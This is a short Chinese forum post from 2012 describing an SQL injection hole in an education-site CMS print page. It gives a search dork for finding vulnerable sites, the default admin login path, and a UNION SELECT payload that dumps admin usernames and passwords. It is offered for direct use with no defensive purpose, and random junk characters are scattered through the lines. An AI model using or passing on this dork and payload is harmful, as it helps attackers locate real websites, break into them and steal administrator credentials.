教育站打印页面漏洞
$ T# a3 O6 Y& R; q8 f2 ~+ m百度或google搜索 inurl:info_Print.asp?ArticleID=
6 b: A8 C; F! o$ a/ `' L# }4 u默认后台：/ad_login.asp; G- |- Q. c. J# `$ v: e7 f( ^4 Y
爆管理员密码：+ @$ \1 N; h* O- a1 _- ~
在 域名/inurl:info_Print.asp?ArticleID=数字 后边加空格，然后加下边的红色语句，回车即可
$ B+ Y7 L! p; {# C& T) j% ?: h
union select 1,2,username,password,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
' c4 X; I" h& n7 s- K* y
0 l9 v8 w3 B3 S! m" b9 ^作者：佚名 ' `) ?, j& F8 j. R/ q0 z
2 y% {" K; c; o& ]. F7 _5 l( v 6 |" O2 W: `* l' V$ h' H/ Y9 i
|
发表于 2012-10-31 08:37:31
收藏
支持
反对